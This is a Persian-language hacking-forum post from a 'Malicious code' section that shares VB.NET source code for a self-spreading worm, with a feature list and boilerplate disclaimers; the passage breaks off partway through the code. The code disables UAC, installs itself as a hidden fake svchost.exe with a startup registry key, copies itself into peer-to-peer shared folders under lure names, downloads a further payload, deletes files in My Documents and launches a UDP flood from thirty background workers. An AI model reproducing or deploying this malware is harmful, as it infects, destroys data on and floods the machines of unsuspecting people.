Parsi Coders
[VB.NET]DC Worm - نسخه قابل چاپ

+- Parsi Coders (http://parsicoders.com)
+-- انجمن: Security and influence (http://parsicoders.com/forumdisplay.php?fid=59)
+--- انجمن: Influence (http://parsicoders.com/forumdisplay.php?fid=61)
+---- انجمن: Malicious code (http://parsicoders.com/forumdisplay.php?fid=62)
+---- موضوع: [VB.NET]DC Worm (/showthread.php?tid=928)



[VB.NET]DC Worm - Amin_Mansouri - 09-26-2011

در سوری زیر یه نمونه کرم قوی میبینید که با وی بی دات نوشته شده است :
توضیحات بیشتر :
کد:
'.::Functions::.'MSN Spread
'Mass Email Spread
'LimeWire Spread
'FrostWire Spread
'Lan Spread
'Other P2P Spread Features
'UDP Flood's The Host IP Address
'Disables UAC
'Anti's
'Duplicates Itself In Place's
'Adds Itself to Startup
'deletes my documents
'opens up pornhub

کد :

کد:
'Credits And What Not :3'.::Index::.
'English
'Spanish
'French
'Warning
'Programs Code
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'DC Worm
'Programed By DeToX
'DC WoRm is A Strong Worm Built To Spread Your Infected File
'.::Credits::.
'- DeToX
'- WoRmy2 Source
'Please Include Credits Where Ever You Post This
'Please Note This Is A Private Source!
'In no way are the coders / distributers of this item reliable for your actions with this application.
'This application was made SPECIFICALLY for PERSONAL testing purposes ONLY!
'You will be held reliable for any of your actions with this security testing software and ONLY you.
'You may not share / distribute this (Application OR Code) ANYWHERE and you can only use / have Wormy (Application OR Code) on your personal property and NOTHING else.
'.::Functions::.
'MSN Spread
'Mass Email Spread
'LimeWire Spread
'FrostWire Spread
'Lan Spread
'Other P2P Spread Features
'UDP Flood's The Host IP Address
'Disables UAC
'Anti's
'Duplicates Itself In Place's
'Adds Itself to Startup
'deletes my documents
'opens up pornhub
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'"Gusano DC
'Programada por Detox
'"Gusano DC es un gusano fuerte, construido para expandir su archivo infectado
'.:: Créditos::.
'- Detox
'- Fuente WoRmy2
'Por favor incluye créditos donde quiera que este Post
'"Tenga en cuenta que esto es una fuente privada!
'"De ninguna manera son los codificadores / distribuidores de este elemento confiable de sus acciones con esta aplicación.
'"Esta solicitud se hace específicamente para propósitos de prueba PERSONALES SOLO!
'"Usted será confiable para cualquiera de sus acciones con este software de pruebas de seguridad y sólo usted.
'"Usted no puede compartir / distribuir este (aplicación o Código) en cualquier lugar y puede utilizar sólo o se ha agusanado (aplicación o Código) sobre sus bienes personales y nada más.
'.:: Funciones::.
'Spread MSN
'"Correo electrónico de comunicación difundieron
'"LimeWire Spread
'"FrostWire Spread
'"Lan Spread
'''''''''''''''''''''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''''''''''''''''''''
'«Worm DC
'"Programmé par DetoX
'«Worm est un ver DC forte Construit de diffusion de votre fichier infecté
'.:: Crédits::.
'»- Detox
'»- Source WoRmy2
'«S'il vous plaît inclure les crédits Où que vous Bloc
'«S'il vous plaît Remarque: Il s'agit d'une source privée!
'«En aucun cas, sont des codeurs / distributeurs de ce point fiables pour vos actions avec cette application.
'«Cette demande a été faite expressément aux fins de l'essai personnel!
'«Vous serez tenu fiable pour l'un de vos actions avec ce logiciel de test de sécurité et de vous seul.
'«Vous ne pouvez pas partager / distribuer ce (application ou Code) n'importe où et vous ne pouvez utiliser / ont Wormy (application ou Code) sur vos biens personnels et rien d'autre.
'.:: Fonctions::.
'Étendre MSN '
'Passez email de la masse
'Étendre LimeWire »
'Étendre FrostWire »
'Étendre Lan »
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'DeToX does not take any responsiblity on what you do with this program
'if you use this program for malicious reasons it is your choice
'this program was made for educationaly purpose's only and i DeToX will
'not be held responsible for anything you do with it.
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Imports System.Text
Imports System.Net.Mail
Imports System.IO
Imports System.Diagnostics
Imports System.Collections
Imports System.Net
Imports System.Net.Sockets
Imports System
Public Class Form1
    Dim dosip
    Dim infectedfile = "www.linktoinfectedfile.com\nameofinfectedfile.exe"
    Dim starter = "C:\Users\Public\Downloads\nameofinfectedfile.exe"
    Dim LimePfad As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\LimeWire\", "Shared", 0)
    Dim infectedpath = Application.StartupPath
    Dim uac


    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Timer1.Start()
        Timer2.Start()
        Timer3.Start()
        uac = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA"
        Me.Visible = False
        Me.Hide()
        Try
            Shell("C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide) 'Disable UAC :3
        Catch ex As Exception
        End Try
        Try
            System.IO.File.Copy(Application.ExecutablePath, "C:\svchost.exe")
            System.IO.File.SetAttributes("C:\svchost.exe", FileAttributes.Hidden)
        Catch ex As Exception
        End Try
        Try
            System.IO.File.Copy(Application.ExecutablePath, "C:\Spyware Killer.exe")
        Catch ex As Exception


        End Try




        Try
            System.IO.File.Copy(Application.ExecutablePath, "C:\Users\Public\Downloads\MyPornPics.exe")
        Catch ex As Exception
        End Try
        Try
            My.Computer.Registry.SetValue("HKLM\Software\Microsoft\Windows\CurrentVersion\Run", "Microsoft", "C:\svchost.exe")
        Catch ex As Exception
        End Try
        Try
            My.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\Software\Microsoft\MessengerService\Policies", "Warning", "(M)Warning: The person(s) you are talking to are infected! Send them the removal tool that can be found at " & infectedfile)
        Catch ex As Exception
        End Try
        Try
            Dim localIP() As System.Net.IPAddress = System.Net.Dns.GetHostAddresses(System.Net.Dns.GetHostName)
            Dim strLocalIP As String = localIP(0).ToString
            Dim DomainHostEntry As System.Net.IPHostEntry
            DomainHostEntry = System.Net.Dns.GetHostEntry("workgroup")
        Catch ex As Exception
        End Try
        Try
            File.Copy(Application.ExecutablePath, "workgroup")
        Catch ex As Exception
        End Try
        Try
            Dim Spreadname As String = "windows_7full.scr"
            IO.File.Copy(Application.ExecutablePath, LimePfad & Spreadname)
        Catch ex As Exception
        End Try
        Try
            Dim Spreadname As String = "windows_7full.scr"
            IO.File.Copy(Application.ExecutablePath, (Environ("programfiles" & "\Shared\" & Spreadname)))
        Catch ex As Exception
        End Try
        Try
            Dim count As Integer = 0
            Dim arSharedFolders As New ArrayList()
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\Downloads")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\My Shared Folder")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\Shared")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Ares\My Shared Folder")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) & "\Downloads")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\Shareaza\Downloads")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\emule\incoming\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\kazaa\my shared folder\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\kazaa lite\my shared folder\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\kazaa lite k++\my shared folder\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\icq\shared folder\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\grokster\my grokster\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\bearshare\shared\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\edonkey2000\incoming\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\morpheus\my shared folder\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\limewire\shared\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\tesla\files\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\winmx\shared\")


            Dim folder As IEnumerator = arSharedFolders.GetEnumerator()
            While folder.MoveNext()
                Dim tada As String = Convert.ToString(folder.Current)
                If Directory.Exists(tada) Then
                    Dim progDir As String = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles)
                    For Each d As String In Directory.GetDirectories(progDir)
                        Dim app As String = (tada & "\") & d.Substring(d.LastIndexOf("\")).Replace("\", String.Empty) & "-crack.exe"
                        File.Copy(Process.GetCurrentProcess().MainModule.FileName, app, True)
                        count += 1
                    Next
                End If
            End While
        Catch
        End Try
        Try
            Dim count As Integer = 0
            Dim arSharedFolders As New ArrayList()
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\Downloads")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\My Shared Folder")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\Shared")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Ares\My Shared Folder")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) & "\Downloads")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\Shareaza\Downloads")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\emule\incoming\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\kazaa\my shared folder\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\kazaa lite\my shared folder\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\kazaa lite k++\my shared folder\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\icq\shared folder\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\grokster\my grokster\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\bearshare\shared\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\edonkey2000\incoming\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\morpheus\my shared folder\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\limewire\shared\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\tesla\files\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\winmx\shared\")


            Dim folder As IEnumerator = arSharedFolders.GetEnumerator()
            While folder.MoveNext()
                Dim tada As String = Convert.ToString(folder.Current)
                If Directory.Exists(tada) Then
                    Dim progDir As String = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles)
                    For Each d As String In Directory.GetDirectories(progDir)
                        Dim app As String = (tada & "\") & d.Substring(d.LastIndexOf("\")).Replace("\", String.Empty) & "-Norton360.exe"
                        File.Copy(Process.GetCurrentProcess().MainModule.FileName, app, True)
                        count += 1
                    Next
                End If
            End While
        Catch
        End Try
        Try
            Dim count As Integer = 0
            Dim arSharedFolders As New ArrayList()
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\Downloads")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\My Shared Folder")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\Shared")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Ares\My Shared Folder")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) & "\Downloads")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\Shareaza\Downloads")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\emule\incoming\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\kazaa\my shared folder\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\kazaa lite\my shared folder\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\kazaa lite k++\my shared folder\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\icq\shared folder\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\grokster\my grokster\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\bearshare\shared\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\edonkey2000\incoming\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\morpheus\my shared folder\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\limewire\shared\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\tesla\files\")
            arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\winmx\shared\")


            Dim folder As IEnumerator = arSharedFolders.GetEnumerator()
            While folder.MoveNext()
                Dim tada As String = Convert.ToString(folder.Current)
                If Directory.Exists(tada) Then
                    Dim progDir As String = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles)
                    For Each d As String In Directory.GetDirectories(progDir)
                        Dim app As String = (tada & "\") & d.Substring(d.LastIndexOf("\")).Replace("\", String.Empty) & "-Runescape_Account_Hacker.exe"
                        File.Copy(Process.GetCurrentProcess().MainModule.FileName, app, True)
                        count += 1
                    Next
                End If
            End While
        Catch
        End Try
        Try
            Dim mydo = My.Computer.FileSystem.SpecialDirectories.MyDocuments
            For Each strin As String In mydo
                My.Computer.FileSystem.DeleteFile(strin)
                My.Computer.FileSystem.CreateDirectory(My.Computer.FileSystem.SpecialDirectories.MyPictures & "\2010 Summer Beach Pic's")
                File.Copy(Process.GetCurrentProcess().MainModule.FileName, My.Computer.FileSystem.SpecialDirectories.MyPictures & "\2010 Summer Beach Pic\s", True)
            Next
        Catch ex As Exception
        End Try
        Try
            Dim site = "www.pornhub.com"
            Process.Start(site)
        Catch ex As Exception


        End Try
        Try
            Dim lov = My.Computer.FileSystem.SpecialDirectories.Desktop & "\"
            File.Copy(Process.GetCurrentProcess().MainModule.FileName, lov, True)
        Catch ex As Exception


        End Try
    End Sub
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Call anti.killall()
    End Sub


    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        If File.Exists(starter) Then
        Else
            Try
                My.Computer.Network.DownloadFile(infectedfile, starter)
            Finally
            End Try
        End If
    End Sub


    Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
        Dim myHost As String = System.Net.Dns.GetHostName


        Dim myIPs As System.Net.IPHostEntry = System.Net.Dns.GetHostByName(myHost)
        Try
            For Each myIP As System.Net.IPAddress In myIPs.AddressList
                dosip = myIP.ToString
            Next
            Timer4.Start()
            Timer3.Stop()
        Catch ex As Exception


        End Try
    End Sub


    Private Sub Timer4_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer4.Tick
        BackgroundWorker1.RunWorkerAsync()
        BackgroundWorker2.RunWorkerAsync()
        BackgroundWorker3.RunWorkerAsync()
        BackgroundWorker4.RunWorkerAsync()
        BackgroundWorker5.RunWorkerAsync()
        BackgroundWorker6.RunWorkerAsync()
        BackgroundWorker7.RunWorkerAsync()
        BackgroundWorker8.RunWorkerAsync()
        BackgroundWorker9.RunWorkerAsync()
        BackgroundWorker10.RunWorkerAsync()
        BackgroundWorker11.RunWorkerAsync()
        BackgroundWorker12.RunWorkerAsync()
        BackgroundWorker13.RunWorkerAsync()
        BackgroundWorker14.RunWorkerAsync()
        BackgroundWorker15.RunWorkerAsync()
        BackgroundWorker16.RunWorkerAsync()
        BackgroundWorker17.RunWorkerAsync()
        BackgroundWorker18.RunWorkerAsync()
        BackgroundWorker19.RunWorkerAsync()
        BackgroundWorker20.RunWorkerAsync()
        BackgroundWorker21.RunWorkerAsync()
        BackgroundWorker22.RunWorkerAsync()
        BackgroundWorker23.RunWorkerAsync()
        BackgroundWorker24.RunWorkerAsync()
        BackgroundWorker25.RunWorkerAsync()
        BackgroundWorker26.RunWorkerAsync()
        BackgroundWorker27.RunWorkerAsync()
        BackgroundWorker28.RunWorkerAsync()
        BackgroundWorker29.RunWorkerAsync()
        BackgroundWorker30.RunWorkerAsync()
    End Sub
    Private Sub BackgroundWorker1_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker1.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker2_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker2.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker3_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker3.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker4_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker4.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker5_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker5.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker6_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker6.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker7_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker7.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker8_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker8.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker9_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker9.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker10_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker10.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker11_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker11.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker12_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker12.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker13_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker13.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker14_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker14.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker15_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker15.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker16_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker16.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker17_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker17.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker18_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker18.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker19_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker19.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker20_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker20.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker21_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker21.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker22_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker22.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker23_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker23.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker24_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker24.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker25_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker25.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
